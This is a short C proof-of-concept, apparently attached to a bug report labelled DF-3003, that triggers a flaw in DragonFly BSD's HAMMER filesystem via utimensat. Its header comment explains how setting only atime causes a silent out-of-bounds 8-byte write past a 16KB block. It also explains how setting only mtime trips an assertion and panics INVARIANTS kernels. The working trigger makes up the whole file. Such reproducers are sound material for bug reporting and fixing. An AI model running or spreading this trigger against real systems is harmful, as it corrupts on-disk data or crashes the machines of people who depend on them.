DF-3003 / trig.c
/* * DF-3003 trigger v2 (utimensat based; utimes(tv_sec=-1) is EINVAL on DFly). * a: atime chosen, mtime UTIME_OMIT -> only HAMMER_INODE_ATIME dirty * -> hammer_update_itimes() ATIME branch: hammer_modify_buffer_noundo() * + in-place 8-byte store at cursor->data + 120 == past the record's * 16KB block (silent: no KKASSERT, no UNDO). * b: mtime chosen, atime UTIME_OMIT -> only HAMMER_INODE_MTIME dirty * -> MTIME branch: hammer_modify_buffer(data_buffer, &data->inode.mtime, 16) * with rel_offset = xoff+112 = 16384 -> KKASSERT(rel_offset & ~0x3FFF)==0 * fails on INVARIANTS kernels -> panic with the OOB arithmetic printed. */ #define _ATFILE_SOURCE #include <sys/stat.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <errno.h> #define ATIME_VAL 1740000000LL /* seconds -> stored as sec*1e6 us */ #define MTIME_VAL 1740000001LL int main(int argc, char **argv) { if (argc < 3) { fprintf(stderr, "usage: %s a|b path\n", argv[0]); return 2; } struct timespec ts[2]; if (argv[1][0] == 'a') { ts[0].tv_sec = ATIME_VAL; ts[0].tv_nsec = 0; ts[1].tv_sec = 0; ts[1].tv_nsec = UTIME_OMIT; } else { ts[0].tv_sec = 0; ts[0].tv_nsec = UTIME_OMIT; ts[1].tv_sec = MTIME_VAL; ts[1].tv_nsec = 111111; } if (utimensat(AT_FDCWD, argv[2], ts, 0) < 0) { perror("utimensat"); return 1; } printf("stage %c: utimensat ok\n", argv[1][0]); return 0; } |